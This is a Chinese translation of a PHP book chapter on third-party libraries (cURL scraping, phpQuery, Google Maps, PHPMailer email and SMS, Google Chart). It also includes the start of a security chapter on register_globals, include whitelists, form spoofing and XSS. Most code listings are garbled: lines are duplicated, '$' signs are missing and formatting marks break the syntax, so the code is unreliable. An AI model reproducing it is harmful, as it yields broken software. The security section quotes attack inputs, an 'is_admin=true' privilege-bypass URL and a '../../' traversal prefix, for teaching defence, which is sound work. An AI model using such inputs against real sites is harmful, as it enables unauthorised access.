cURL error: #6 Could not resolve host: www.znhlz.com; Host not found

cURL 是非常可配置的。其他一些选项包括:

curl_setopt( $ch, CURLOPT_POST, true );                           //POST request curl_setopt( $ch, CURLOPT_POSTFIELDS, "key1=value1&key2=value2" );//POST key/value pairs curl_setop($ch, CURLOPT_USERPWD, "username:password" );           //for authenticated sites //some sites block requests that do not have the user agent sent curl_setopt( $ch, CURLOPT_USERAGENT, $userAgent );

如果我们不需要大量配置并且在php.ini,中启用了file_get_contents用法,那么清单 10-9 中的脚本可以简化为清单 10-10 。

***清单 10-10。*使用文件获取内容简化内容获取

`<?php error_reporting(E_ALL ^ E_NOTICE);

url="<ins>http://www.nhl.com</ins>";printfetchRawData(url = "<ins>http://www.nhl.com</ins>"; print fetchRawData( url );

//our fetching function function fetchRawData( url ) {   **data = file_get_contents(url);   if(url);**    **if( data === false ) {**      die("Error");    }   return $data; }

?>`

在基于清单 10-9 的下一个脚本中,我们将解析特定的数据并显示结果。在这种情况下,我们将找到网页上的所有链接及其标题。参见清单 10-11 。

***清单 10-11。*使用 cURL、DOMDocument 和 DOMXPath 查找网页上的链接

`<?php

error_reporting ( E_ALL ^ E_NOTICE );

url="http://www.nhl.com";url = "http://www.nhl.com"; rawHTML = fetchRawData ( url);url ); parsedData = parseSpecificData ( rawHTML);displayData(rawHTML ); displayData ( parsedData );

//our fetching function function fetchRawData(url) {         ch = curl_init ();         curl_setopt ( ch,CURLOPTURL,ch, CURLOPT_URL, url );         curl_setopt ( ch,CURLOPTRETURNTRANSFER,true);//returntheoutputasavariable        curlsetopt(ch, CURLOPT_RETURNTRANSFER, true ); //return the output as a variable         curl_setopt ( ch, CURLOPT_FAILONERROR, true ); //fail if error encountered         curl_setopt ( ch,CURLOPTFOLLOWLOCATION,true);//allowredirects        curlsetopt(ch, CURLOPT_FOLLOWLOCATION, true ); //allow redirects         curl_setopt ( ch, CURLOPT_TIMEOUT, 10 ); //time out length        

        data=curlexec(data = curl_exec ( ch );         if (! data) {                 echo "<br />cURL error:<br/>\n";                 echo "#" . curl_errno ( ch ) . "
\n";                 echo curl_error ( ch)."<br/>\n";                echo"Detailedinformation:";                vardump(curlgetinfo(ch ) . "<br/>\n";                 echo "Detailed information:";                 var_dump ( curl_getinfo ( ch ) );                 die ();         }         curl_close ( ch);        returnch );         return data; }

//our parsing function function parseSpecificData(data) {         parsedData = array ();         //load into DOM         dom=newDOMDocument();        @dom = new DOMDocument ();         @dom->loadHTML($data); //normally do not use error suppression!        

        xpath=newDOMXPath(xpath = new DOMXPath ( dom );         links=links = xpath->query ( "/html/body//a" );         if (links) {                 foreach ( links as element ) {                         nodes = element>childNodes;                        element->childNodes;                         link = element>attributes>getNamedItem(href)>value;                        foreach(element->attributes->getNamedItem ( 'href' )->value;                         foreach ( nodes as node ) {                                 if (node instanceof DOMText) {                                         parsedData[]=array("title"=>parsedData [] = array ("title" => node->nodeValue,                                                                 "href" => link );                                 }                         }                 }         }         return parsedData; }

//our display function function displayData(Array data) {         foreach ( data as link ) { //escape output                 cleaned_title = htmlentities ( link[title],ENTQUOTES,"UTF8");                link ['title'], ENT_QUOTES, "UTF-8" );                 cleaned_href = htmlentities ( link[href],ENTQUOTES,"UTF8");                echo"<p><strong>".link ['href'], ENT_QUOTES, "UTF-8" );                 echo "<p><strong>" . cleaned_title . "
\n";                 echo $cleaned_href . "

\n";         } }

?>`

在清单 10-11 的中,我们将原始数据加载到一个DOMDocument对象中。然后我们调用loadHTML并使用 PHP 的错误抑制操作符@

images 注意通常我们不使用错误抑制,因为它会妨碍调试。然而,在这种情况下,它隐藏了许多我们不关心的 DOMDocument 警告。

然后我们使用DOMXPath来查找文档链接和相应的文本,并将它们存储到一个数组中。由于数据来自外部,我们不应该相信它。在将输出打印到屏幕上之前,我们对所有的值进行了转义。这是防止跨站脚本的最佳实践,这在第十一章:安全性中有所涉及。

以下是运行清单 10-11 的示例输出:


`TEAMS

www.nhl.com/ice/teams.h…

Chicago Blackhawks

blackhawks.nhl.com

Columbus Blue Jackets

bluejackets.nhl.com

Detroit Red Wings

redwings.nhl.com`


我们现在将展示 phpQuery 库如何允许我们使用类似于 jQuery 的选择器和符号(参见清单 10-12 )。这简化了我们的抓取脚本的解析步骤。您首先需要从[code.google.com/p/phpquery/](http://code.google.com/p/phpquery/)下载 phpQuery 库。

***清单 10-12。*使用 cURL 和 phpQuery 查找网页上的链接

`<?php error_reporting ( E_ALL ^ E_NOTICE ); require_once ("phpquery/phpQuery/phpQuery.php");

url="http://www.nhl.com";url = "http://www.nhl.com"; rawHTML = fetchRawData ( url);url ); parsedData = parseSpecificData ( rawHTML);displayData(rawHTML ); displayData ( parsedData );

//our fetching function function fetchRawData(url) {         ch = curl_init ();         curl_setopt ( ch,CURLOPTURL,ch, CURLOPT_URL, url );         curl_setopt ( ch,CURLOPTRETURNTRANSFER,true);//returntheoutputasavariable        curlsetopt(ch, CURLOPT_RETURNTRANSFER, true ); //return the output as a variable         curl_setopt ( ch, CURLOPT_FAILONERROR, true ); //fail if error encountered         curl_setopt ( ch,CURLOPTFOLLOWLOCATION,true);//allowredirects        curlsetopt(ch, CURLOPT_FOLLOWLOCATION, true ); //allow redirects         curl_setopt ( ch, CURLOPT_TIMEOUT, 10 ); //time out length         data=curlexec(data = curl_exec ( ch );         if (! data) {                 echo "<br />cURL error:<br/>\n";                 echo "#" . curl_errno ( ch ) . "
\n";                 echo curl_error ( ch)."<br/>\n";                echo"Detailedinformation:";                vardump(curlgetinfo(ch ) . "<br/>\n";                 echo "Detailed information:";                 var_dump ( curl_getinfo ( ch ) );                 die ();         }

        curl_close ( ch);        returnch );         return data; }

//our parsing function function parseSpecificData(data) {**         **parsedData = array ();         phpQuery::newDocumentHTML ( data);        foreach(pq("a")asdata );**         **foreach ( pq ( "a" ) as link ) {                 title=pq(title = pq ( link )->text ();                 if (title) {**                         **parsedData [] = array ("title" => title,                                                "href"=>pq(title,**                                                 "href" => **pq ( link )->attr ( 'href' ) );                 }         }         return $parsedData; }

//our display function function displayData(Array data) {         foreach ( data as link ) { //escape output                 cleaned_title = htmlentities ( link[title],ENTQUOTES,"UTF8");                link ['title'], ENT_QUOTES, "UTF-8" );                 cleaned_href = htmlentities ( link[href],ENTQUOTES,"UTF8");                echo"<p><strong>".link ['href'], ENT_QUOTES, "UTF-8" );                 echo "<p><strong>" . cleaned_title . "
\n";                 echo $cleaned_href . "

\n";         } }

?>`

注意,从清单 10-11 到清单 10-12 ,只有我们的解析函数发生了变化。为了直接使用phpQuery而不是DOMDocument,我们称之为newDocumentHTML方法:

    phpQuery::newDocumentHTML($data);

这里不包括 phpQuery 库的全部内容。相反,我们将比较示例中使用的选择器的 XPath、phpQuery 和 jQuery 符号(表 10-1 )。

谷歌地图整合

为了使用 Google Maps,我们将使用位于[code.google.com/p/php-google-map-api](http://code.google.com/p/php-google-map-api) /的 php-google-map-api 库。当前版本 3.0 的直接下载包目前不可用。您需要使用 subversion 客户机来签出源代码,命令如下:

svn checkout http://php-google-map-api.googlecode.com/svn/trunk/

两个 svn 客户端分别是在tortoisesvn.net/downloads.html可用的 tortoiseSVN 和在www.sliksvn.com/en/download可用的 slik svn。

php-google-map-api 库正在积极开发,功能丰富。我们将定义一个样板模板,我们的示例脚本将输出到这个模板中(清单 10-13 )。

***清单 10-13。*我们的样板模板,gmap_template.php

`              getHeaderJS();           echo $gmap->getMapJS();         ?>                   printOnLoad();           echo $gmap->printMap();           echo $gmap->printSidebar();         ?>     

`

在我们的第一个例子中,我们将显示一个只有一个标记的 Google 地图。参见清单 10-14 。

***清单 10-14。*谷歌地图卫星图像,单一标记示例

`<?php error_reporting(E_ALL ^ E_NOTICE); require_once("php-google-map-api/GoogleMap.php"); require_once("php-google-map-api/JSMin.php");

gmap=newGoogleMapAPI();gmap = new GoogleMapAPI(); gmap->addMarkerByAddress(                           "Eiffel Tower, Paris, France",                           "Eiffel Tower Title",                           "Eiffel Tower Description" ); require_once('gmap_template.php'); ?>`

正如你所看到的,用库显示谷歌地图非常容易。在清单 10-14 中,我们创建了一个新的GoogleMapAPI对象并标记了一个地址。方法addMarkerByAddress将标题和描述作为附加参数。结果如图图 10-6 所示。

images

***图 10-6。*标记艾菲尔铁塔的谷歌地图

在清单 10-15 的中,我们将展示一张地图,而不是卫星图像。我们还将设置默认缩放级别,并将交通路线显示为叠加图。结果如图 10-7 中所示。

***清单 10-15。*谷歌地图交通路线叠加示例

`<?php error_reporting(E_ALL ^ E_NOTICE); require_once("php-google-map-api/GoogleMap.php"); require_once("php-google-map-api/JSMin.php");

gmap=newGoogleMapAPI();gmap = new GoogleMapAPI(); gmap->addMarkerByAddress( "New York, NY", "New York Traffic", "Traffic description here" ); gmap>setMapType(map);gmap->setMapType( 'map' );** **gmap->setZoomLevel( 15 ); $gmap->enableTrafficOverlay(); require_once('gmap_template.php'); ?>` images

***图 10-7。*谷歌地图显示纽约交通路线

对于最后一个例子,我们将在同一张地图上放置几个标记。我们还将把地图类型设置为地形。参见清单 10-16 ,其结果显示在图 10-8 中。

***清单 10-16。*谷歌地图地形,多个标记示例

`<?php error_reporting(E_ALL ^ E_NOTICE); require_once("php-google-map-api/GoogleMap.php"); require_once("php-google-map-api/JSMin.php");

gmap=newGoogleMapAPI();gmap = new GoogleMapAPI(); **gmap->addMarkerByAddress( "Saskatoon, SK", "", "Home" );** gmap>addMarkerByAddress("Vancouver,BC","","WestCoast");gmap->addMarkerByAddress( "Vancouver, BC", "", "West Coast" );** **gmap->addMarkerByAddress( "Montreal, QC", "", "Hockey" ); gmap>addMarkerByAddress("PlayadelCarmen,Mexico","","Tropicalvacation");gmap->addMarkerByAddress( "Playa del Carmen, Mexico", "", "Tropical vacation" );** **gmap->setMapType( 'terrain' );

require_once('gmap_template.php'); ?>` images

***图 10-8。*谷歌地图显示地形和多个标记

电子邮件和短信

PHP 有一个内置函数mail,用来发送电子邮件。然而,对于更复杂的服务器或电子邮件设置,外部库支持以更容易的面向对象方式创建邮件。PHPMailer 库让我们可以轻松地发送电子邮件和短信。PHPMailer 可以在http://sourceforge. net/projects/phpmailer/files/phpmailer%20for%20php5_6/下载。

清单 10-17 显示了 PHPMailer 库的基本用法。

***清单 10-17。*基本邮件使用

`<?php error_reporting(E_ALL); require("phpmailer/class.phpmailer.php");

$mail = new PHPMailer(); //default is to use the PHP mail function

mail>From="from@foobar.com";mail->From = "from@foobar.com"; mail->AddAddress( "to@foobar.net" );

mail>Subject="PHPMailerMessage";mail->Subject = "PHPMailer Message"; mail->Body = "Hello World!\n I hope breakfast is not spam.";

if( mail->Send() ) {   echo 'Message has been sent.'; } else {   echo 'Message was not sent because of error:<br/>';   echo mail->ErrorInfo; } ?>`

images 注意如果您收到错误消息“Could not instantiate mail function,”,那么很可能是因为From电子邮件地址在您发送邮件的服务器上无效。

接下来,我们将演示如何发送 HTML 格式的消息和附件(清单 10-18 )。

***清单 10-18。*发送带有附件的 HTML 格式的消息

`<?php error_reporting(E_ALL); require("phpmailer/class.phpmailer.php");

$mail = new PHPMailer(); //default is to use the PHP mail function

mail>From="from@foobar.com";mail->From = "from@foobar.com"; mail->AddAddress( "to@foobar.net" ); $mail->Subject = "PHPMailer Message";

mail>IsHTML();//tellPHPMailerthatwearesendingHTMLmail->IsHTML(); //tell PHPMailer that we are sending HTML** **mail->Body = "Hello World!
I hope breakfast is not spam.";

//fallback message in case their mail client does not accept HTML mail>AltBody="HelloWorld!\nIhopebreakfastisnotspam.";//addinganattachmentmail->AltBody = "Hello World!\n I hope breakfast is not spam.";** **//adding an attachment** **mail->AddAttachment( "document.txt" );

if( mail->Send() ) {   echo 'Message has been sent.'; } else {   echo 'Message was not sent because of error:<br/>';   echo mail->ErrorInfo; } ?>`

在清单 10-19 中,我们将使用带认证的 SMTP 服务器。我们还将遍历一组电子邮件地址和名称来发送批量电子邮件。

清单 10-19。 PHPMailer 用 SMTP 发送批量邮件

`<?php

error_reporting(E_ALL); require("phpmailer/class.phpmailer.php");

$mail = new PHPMailer();

mail>IsSMTP();  //usingSMTPmail->IsSMTP();  //using SMTP** **mail->Host = "smtp.example.com"; // SMTP server

//authenticate on the SMTP server mail>SMTPAuth=true;mail->SMTPAuth = true;** **mail->Username = "brian"; $mail->Password = "briansPassword";

mail>From="from@foobar.com";mail->From = "from@foobar.com"; mail->Subject = "PHPMailer Message";

names=array(    array("email"=>"foobar1@a.com","name"=>"foo1"),    array("email"=>"foobar2@b.com","name"=>"foo2"),    array("email"=>"foobar3@c.com","name"=>"foo3"),    array("email"=>"foobar4@d.com","name"=>"foo4"));foreach(names = array(**     **array( "email" => "foobar1@a.com", "name" => "foo1" ),**     **array( "email" => "foobar2@b.com", "name" => "foo2" ),**     **array( "email" => "foobar3@c.com", "name" => "foo3" ),**     **array( "email" => "foobar4@d.com", "name" => "foo4" )** **);**` `**foreach ( names as n ) {**     mail->AddAddress( n[email]);    n['email'] );**     mail->Body = "Hi **{n['name']}!**\n Do you like my SMTP server?";     if( mail->Send() ) {       echo 'Message has been sent.';     } else {       echo 'Message was not sent because of   error:
';       echo mail->ErrorInfo;     }     mail->ClearAddresses(); } ?>`

在我们最后一个使用 PHPMailer 库的例子中,我们将发送一条短消息服务(SMS)消息。SMS 消息通常被称为文本消息或文本。要发送短信,我们需要知道收件人的电话号码和提供商。从提供商那里,我们需要知道 SMS 域。

***清单 10-20。*使用 PHPMailer 发送短信

`<?php

error_reporting(E_ALL); require("phpmailer/class.phpmailer.php"); define( 'MAX_SMS_MESSAGE_SIZE', 140 );

$mail = new PHPMailer();

mail>IsSMTP();mail->IsSMTP(); mail->Host = "smtp.example.com"; mail>SMTPAuth=true;mail->SMTPAuth = true; mail->Username = "brian"; $mail->Password = "briansPassword";

mail>From="from@foobar.com";mail->From = "from@foobar.com"; mail->Subject = "PHPMailer Message";

phone_number = "z+a  555 kfla555-@#1122";** **clean_phone_number = filter_var( phonenumber,FILTERSANITIZENUMBERINT);//+5555551122phone_number, FILTER_SANITIZE_NUMBER_INT );** **//+555555-1122** **cleaner_phone_number = str_replace( array( '+' ,  '-' ), '', $clean_phone_number ); //5555551122

$sms_domain = "@sms.fakeProvider.com";

//5555551122@fake.provider.com mail>AddAddress(mail->AddAddress( cleaner_phone_number . smsdomain);sms_domain );** **mail->Body = "Hi recipient!\r\n here is a text"; **if ( strlen( mail->Body ) < MAX_SMS_MESSAGE_SIZE ) {**     if ( mail->Send() ) {         echo 'Message has been sent.';     } else {         echo 'Message was not sent because of error:
';         echo $mail->ErrorInfo;     } } else {     echo "Your message is too long."; } ?>`

在清单 10-20 中,我们首先确保我们的电话号码只包含数字。我们使用filter_var去掉除了数字、加号和减号之外的所有字符。然后,我们使用str_replace删除任何加号或减号。我们还定义了一个最大字符串长度,并确保我们的身体小于这个限制。我们将清除的电话号码与我们的 SMS 域连接起来,并将其用作发送 SMS 消息的地址。

images 注意大多数短信提供商要求号码长度为十位数,不带标点符号。这意味着该数字不包括国家代码。您可能希望添加验证,确认清除的数字长度为十位数。

gChartPHP:一个谷歌图表 API 包装器

Google Chart API 是一个非常容易使用的非常强大的库,可以生成动态图形和图表。gChartPHP 包装器以面向对象的方式抽象出 API 所需的精确语法。这使得它更容易使用,更不容易出错。有了 Chart API,Google 就可以生成图像,从而减轻服务器的负担。您可以在[code.google.com/p/gchartphp/](http://code.google.com/p/gchartphp/)下载 API 包装器。有关 Google Chart API 的更多信息,请访问[code.google.com/apis/chart/](http://code.google.com/apis/chart/)

Google Chart API 可以生成以下类型的图表:折线图、条形图、饼图、地图、散点图、维恩图、雷达图、二维码图、google-o-meter、复合图、烛台图和 GraphViz 。我们将展示如何生成地图和蜡烛图。

地图就像谷歌分析中的地图。我们要标记的国家在两个颜色值的渐变范围之间着色。我们分配给一个国家的数据决定了该国接受的阴影级别。这有助于显示在我们绘制的统计数据中具有更大权重的国家或地区。参见清单 10-21 。

***清单 10-21。*显示部分欧洲国家的彩色地图

`<?php

error_reporting(E_ALL); require_once ('GChartPhp/gChart.php');

$map = new gMapChart();

map>setZoomArea(europe);  //geographicarea//italy,sweden,greatbritain,spain,finlandmap->setZoomArea( 'europe' );  //geographic area //italy, sweden, great britain, spain, finland map->setStateCodes( array( 'IT', 'SE', 'GB', 'ES', 'FI') ); map>addDataSet(array(50,100,24,80,65));//levelofshadingingradientmap->addDataSet( array( 50, 100, 24, 80, 65 ) ); //level of shading in gradient map->setColors(         'E7E7E7', //default         array('0077FF', '000077') //gradient color range ); echo "<img src="" . $map->getUrl() . "" />
Europe"; ?>`

在清单 10-21 中,我们构造了一个**gMapChart**对象并放大到欧洲。然后我们添加一些国家代码。这些缩写的列表可以在网上的[en.wikipedia.org/wiki/ISO_3166-1_alpha-2](http://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)找到。我们为每个国家代码设置相应的数据。如果我们希望所有的国家都是相同的颜色,那么将所有的值设置为相等。接下来,我们设置颜色。我们的渐变范围从浅蓝绿色到深蓝色。最后,我们将 URL 直接输出到一个图像标签中。图 10-9 显示了用谷歌图表 API 生成的地图。

images 注意在执行GET请求时,我们受到查询长度的限制。Google Chart API 和包装器确实有发送POST请求的方法。其中一种方法就是使用renderImage(true)

images

***图 10-9。*用谷歌海图 API 生成的地图

我们的第二个也是最后一个例子将展示如何制作蜡烛图。蜡烛图需要至少四个数据系列,通常用于描绘股票市场数据。参见图 10-10 。

images

***图 10-10。*烛台标记

在蜡烛线标记中,股票开盘和收盘之间的区域被称为“主体”或“真实主体”高低“灯芯”也被称为“影子”,显示一天中最高和最低的股票价格。清单 10-22 产生了一个烛台风格的图表。

***清单 10-22。*代码生成一个Candlestic样式的图表

`<?php

error_reporting(E_ALL); require_once ('GChartPhp/gChart.php');

$candlestick = new gLineChart( 400, 400 );

//the regular line graph of close prices //32 pts $candlestick->addDataSet(         array( 90, 70, 60, 65, 75, 85, 70, 75,             80, 70, 75, 85, 100, 105, 100, 95,             80, 70, 65, 35, 30, 45, 40, 50,             40, 40, 50, 60, 70, 75, 80, 75 ));

//the candlestick markers. the close price is the same as our line graph candlestick>addHiddenDataSet(        array(100,95,80,75,85,95,90,95,            90,85,85,105,110,120,110,110,            105,90,75,85,45,55,50,70,            55,50,55,65,80,85,90,85));//highcandlestick->addHiddenDataSet(         array( 100, 95, 80, 75, 85, 95, 90, 95,             90, 85, 85, 105, 110, 120, 110, 110,             105, 90, 75, 85, 45, 55, 50, 70,             55, 50, 55, 65, 80, 85, 90, 85 )); //high` `candlestick->addHiddenDataSet(         array( 80, 90, 70, 60, 65, 75, 85, 70,             75, 80, 70, 75, 85, 100, 105, 100,             95, 80, 70, 65, 35, 30, 45, 40,             50, 45, 40, 50, 60, 70, 75, 80 )); //open candlestick>addHiddenDataSet(        array(90,70,60,65,75,85,70,75,            80,70,75,85,100,105,100,95,            80,70,65,35,30,45,40,50,            40,40,50,60,70,75,80,75));//closecandlestick->addHiddenDataSet(         array( 90, 70, 60, 65, 75, 85, 70, 75,             80, 70, 75, 85, 100, 105, 100, 95,             80, 70, 65, 35, 30, 45, 40, 50,             40, 40, 50, 60, 70, 75, 80, 75 )); //close candlestick->addHiddenDataSet(         array( 65, 65, 50, 50, 55, 65, 65, 65,             70, 50, 65, 75, 80, 90, 90, 85,             60, 60, 55, 30, 25, 20, 30, 30,             30, 25, 30, 40, 50, 55, 55, 55 ));   //low

candlestick>addValueMarkers(        F,//linemarkertypeiscandlestick        000000,//blackcolor        1,//startwith"high"dataseries        1:,//donotshowfirstmarker        5           //markerwidth);candlestick->addValueMarkers(         'F', //line marker type is candlestick         '000000', //black color         1, //start with "high" data series         '1:', //do not show first marker         5           //marker width ); candlestick->setVisibleAxes( array( 'x', 'y' ) );  //both x and y axis candlestick>addAxisRange(0,0,32);           //xaxiscandlestick->addAxisRange( 0, 0, 32 );           //x-axis candlestick->addAxisRange( 1, 0, 110 );          //y-axis

echo "<img src="" . $candlestick->getUrl() . "" />
Stock market report"; ?>`

在清单 10-22 中,我们构造了一个gLineChart对象。然后,我们定义将用于烛台的线数据集和四个隐藏数据集。接下来,我们添加烛台标记。最后,我们设置一些轴信息并显示我们生成的图像。清单 10-22 的输出如图 10-11 中所示。

images

***图 10-11。*运行清单 10-22 输出一个股市蜡烛图

总结

在这一章中,我们展示了很多 PHP 库和它们的用法。通过这样做,我们展示了如何使用现有的解决方案是非常有益的。我们使用包装器来集成 Google Maps 和 Google Chart API。我们解析了 RSS 提要并搜集了网站数据。我们生成了 pdf、电子邮件和短信。

使用现有的库使我们能够在高层次上快速开发,抽象出低层次的细节。另一方面,我们无法控制第三方代码。我们必须相信它不是恶意的或错误的。

作为程序员,编写自己的库可能很有诱惑力,因为现有的选项缺少一些功能或者不符合您的标准。然而,这样做通常会浪费大量的时间和精力。通常,更好的办法是参与现有开源库的补丁、错误修复和特性请求。

十一、安全

在编写网页时,考虑安全性是非常重要的。攻击者会试图利用许多潜在的站点漏洞。一个好的 PHP 开发人员需要保持勤奋,并且了解最新的安全实践。在这一章中,我们将介绍一些强化我们网站的最佳实践和技术。

本章的一个关键思想是永远不要相信数据或用户的意图。我们需要过滤和转义的用户数据可能来自多个来源,比如 URL 查询字符串、表单数据、COOKIES_COOKIES、_SESSION、$_SERVER 数组和 Ajax 请求。

我们还将讨论常见的攻击及其预防,包括以下主题:

  • 通过输出转义防止跨站点脚本(XSS)
  • 使用隐藏表单令牌防止跨站点请求伪造(CSRF)
  • 通过不将会话 ID (SID)存储在 cookie 中并在每页开始时重新生成 SID 来防止会话固定
  • 使用预准备语句和 PDO 预防 SQL 注入
  • 使用筛选器扩展

我们还将讨论如何巩固我们的php.ini和服务器设置,并涵盖密码散列强度。

永远不要相信数据

在电视连续剧《X 档案》中,福克斯·莫特说过一句名言:“不要相信任何人。”说到 web 编程,我们应该遵循这个建议。假设最坏的情况:所有数据都被污染了。Cookies、Ajax 请求、头和表单值(甚至使用 POST)都可能被欺骗或篡改。即使用户可以被完全信任,我们仍然希望确保表单字段被正确填写,并防止出现格式错误的数据。所以要过滤所有输入,转义所有输出。在本章的后面,我们将会看到一些新的 PHP 过滤函数,它们使得这个过程变得更加容易。

我们还将讨论如何配置php.ini来提高安全性。然而,如果我们编写一个代码库供公众使用,那么我们不能确保最终开发者遵循了他们的php.ini文件中的最佳实践。由于这个原因,我们应该总是防御性地编码,并假设php.ini文件没有被收紧。

注册 _ 全局

最佳实践是始终初始化变量。这是针对当在php.ini中打开register_globals指令时可能出现的攻击的一种保护措施。启用register_globals后,$_POST$_GET变量被注册为脚本中的全局变量。如果在脚本中添加一个查询字符串,比如"?foobar=3",PHP 会在后台创建一个同名的全局变量:

$foobar = 3; //register_globals declares this global variable for you.

register_globals被启用并且 URL 被设置为[foobar.com/login.php?is_admin=true](http://foobar.com/login.php?is_admin=true)时,清单 11-1 中的脚本将总是被授予管理员权限。

清单 11-1。【login.php】绕过安全检查的 register _ globals】

`<?php         session_start();

        //isadmin=is_admin = _GET['is_admin']  initialized by register globals         //$is_admin = true; current value passed in

        if ( user_is_admin( _SESSION['user'] ) ) {     //makes this check useless                     is_admin = true;         }

        if ( $is_admin ) {          //will always be true                     //give the user admin privileges         }         … ?>`

攻击者必须猜出$is_admin变量的正确名称,攻击才会成功。或者,如果正在使用一个已知的库,攻击者可以通过研究 API 或库的完整源代码很容易地找到变量名。防止这种攻击的关键是初始化所有变量,如清单 11-2 所示。这确保了register_globals不能覆盖现有的变量。

***清单 11-2。*启动变量以防止 register_globals 滥用

`<?php         //isadmin=is_admin = _GET['is_admin']  initialized by register globals         //isadmin=true;currentvaluepassedin        is_admin = true; current value passed in         **is_admin = false;**            //defensively set to override                                       //initial value set by register globals         if ( user_is_admin( user ) ) {                     is_admin = true;         }

        if ( $is_admin ) {   //this will only be true now                             //if the user_is_admin function returns true                     //give the user admin privileges         }         … ?>`

白名单和黑名单

我们不应该对includerequire函数调用使用$_GET$_POST值。这是因为文件名对我们来说是未知的。攻击者可能试图通过在文件名前加上类似"../../"的字符串来绕过文档根限制。对于includerequire调用中的变量,我们应该有一个可接受文件名的白名单,或者对文件名进行净化。

images 注意白名单是被批准的项目的列表。相反,黑名单是不允许的项目列表。白名单比黑名单更严格,因为它们明确规定了什么是被批准的。黑名单需要不断更新才能生效。

白名单的例子有可接受的电子邮件地址、域名或 HTML 标签。黑名单的示例包括不允许的电子邮件地址、域名或 HTML 标记。

清单 11-3 展示了如何接受可接受文件名的白名单。

***清单 11-3。*通过使用可接受文件名的白名单来限制包含文件

<?php         //whitelist of allowed include filenames         $allowed_includes = array( 'fish.php', 'dogs.php', 'cat.php' );         if ( isset( $_GET['animal']) ) {                 $animal = $_GET['animal'];                 $animal_file = $animal. '.php';                 if( in_array( $animal_file, $allowed_includes ) ) {                         require_once($animal_file);                 } else {                         echo "Error: illegal animal file";                 }         } ?>

对于我们的脚本打开的文件,basename函数可以帮助确保所包含的文件不会超出我们的文档根目录。

对于由用户提供并使用file_get_contents检索的外部 URL,我们需要过滤文件名。我们可以使用parse_url函数提取 URL 并删除查询字符串,或者使用FILTER_SANITIZE_URLFILTER_VALIDATE_URL来确保一个合法的 URL。我们将在本章后面讨论使用过滤器。

表格数据

大多数读者都知道,用 HTTP GET 方法提交的表单域可以通过直接修改 URL 查询来修改。这通常是期望的行为。例如,[stackoverflow.com](http://stackoverflow.com)的搜索表单可以单独使用查询来提交。见清单 11-4 。

***清单 11-4。*通过直接修改 URL 查询来搜索stackoverflow.com

http://stackoverflow.com/search?q=php+xss

搜索表单的实际标记如清单 11-5 所示。

***列表 11-5。*查询表

`<form id="search" method="get" action="/search">

**
`

同样的搜索结果可以通过直接使用 HTTP 请求的 telnet 客户端获得,如清单 11-6 所示。

清单 11-6。 Telnet 命令发送一个 GET 请求

telnet stackoverflow.com 80 GET /search?q=php+xss HTTP/1.1 Host: stackoverflow.com

一个常见的误解是使用HTTP POST方法的表单更安全。尽管不能通过 URL 查询直接修改,用户仍然可以通过 telnet 直接提交查询。如果前面的表单使用了POST方法,<form id="search" method="post" action="/search">,,我们仍然可以通过修改前面的 telnet 命令直接发送查询请求。

清单 11-7。 Telnet 命令发送一个 POST 请求

telnet stackoverflow.com 80 POST /search HTTP/1.1 Host: stackoverflow.com Content-Type: application/x-www-form-urlencoded Content-Length: 9 q=php+xss

正如您在清单 11-7 中看到的,实际的表单标记是不必要的。如果我们知道预期的 POST 变量的结构,我们可以在 POST 请求中发送它们。如果攻击者正在侦听网络流量,他们可以很容易地看到来回传递的表单内容。然后,他们可以尝试通过用有效值重新填充表单并提交来欺骗表单。消除表单欺骗的一种方法是检查隐藏的表单令牌是否已经由服务器随请求一起发送。这将在本章后面的“跨站点请求伪造(CSRF)”一节中介绍

images 隐藏形式令牌被称为 nonce ,是曾经使用过的数的缩写。每个表单提交的令牌都是不同的,以防止未经授权的窃听者重新发送有效数据,比如密码。如果没有隐藏令牌,服务器将拒绝表单提交数据。

当表单数据包含非常敏感的信息时,比如银行的用户名和密码,那么应该使用安全套接字层(SSL)进行通信。SSL 防止窃听者监听网络流量。

COOKIES_COOKIES,_SESSION 和$_SERVER

我们不能相信$_COOKIES中的数据包含合法值,因为 cookie 数据存储在客户端,很容易被修改。Cookies 也容易受到跨站点脚本攻击,这一点我们将在本章后面讨论。出于这些原因,我们应该对任何敏感数据使用服务器端的$_SESSION数据。尽管比 cookies 安全得多,但会话容易受到会话固定攻击。我们还将在本章的后面讨论防止会话固定。甚至连$_SERVER这个变量也不应该完全相信。$_SERVER变量是由服务器而不是 PHP 生成的。以HTTP_开头的变量来自 HTTP 头,很容易被欺骗。

Ajax 请求

在第十五章中深入讨论的 Ajax 中,XMLHttpRequest对象通常会发送一个X-Requested-With头,如下所示:

<script type='text/javascript'>         …         xmlHttpRequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");         … </script>

在 PHP 脚本中,确保请求来自 Ajax 的一个常用技术是使用以下命令检查这个头:

<?php         …         if (  strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest' ) {                 //then it was an ajax request         }         … ?>

然而,这个消息头可能是伪造的,所以这并不能保证发送了 Ajax 请求。

常见攻击

在本节中,我们将讨论两种最常见的攻击,XSS 和 CSRF,并展示如何防止它们。

同源政策

作为了解常见攻击的先决条件,我们需要讨论一下同源策略。同源策略是浏览器对客户端脚本(如 JavaScript)的安全实现。它使脚本只能访问相同协议、主机和端口上的功能和元素。如果其中任何一个不同,那么该脚本将无法访问外部脚本。一些攻击的发生是因为同源策略被非法规避以利用用户或网站。

images 不幸的是,同源政策阻止了一些合法使用。例如,以下所有行为都是非法的:

不同协议 [www.foobar.com](http://www.foobar.com) [www.foobar.com](https://www.foobar.com)

不同端口 [www.foobar.com:80](http://www.foobar.com:80) [www.foobar.com:81](http://www.foobar.com:81)

不同子域 [www.foobar.com](http://www.foobar.com) [foobar.com](http://foobar.com) [sub.foobar.com](http://sub.foobar.com)

在 HTML 5 中,postMessage函数将支持类似这样的合法情况。目前,浏览器对该功能的支持有限。

跨站点脚本(XSS)

跨站点脚本(XSS)是一种将客户端脚本(如 JavaScript、Jscript 或 VBScript)注入网页的攻击。XSS 通过绕过同源策略来工作,并且只能在将数据输出到浏览器中时发生。因此,对所有输出的用户数据进行转义是非常重要的。

images 转义输出是指删除或替换潜在危险的输出。根据上下文,这可以包括在引号前添加转义字符(“变成\”),用 HTML 实体、&lt;&gt,替换<>符号,以及删除<script>标签。

XSS 攻击利用了用户对网站的信任。XSS 攻击通常会偷饼干。植入的脚本从可信站点读取 document.cookie,然后将数据发送到恶意站点。对于 XSS,客户端脚本是敌人。一旦攻击者找到了在输出页面上注入非转义客户端脚本的方法,他们就赢得了这场众所周知的战斗。

XSS 袭击看起来像什么

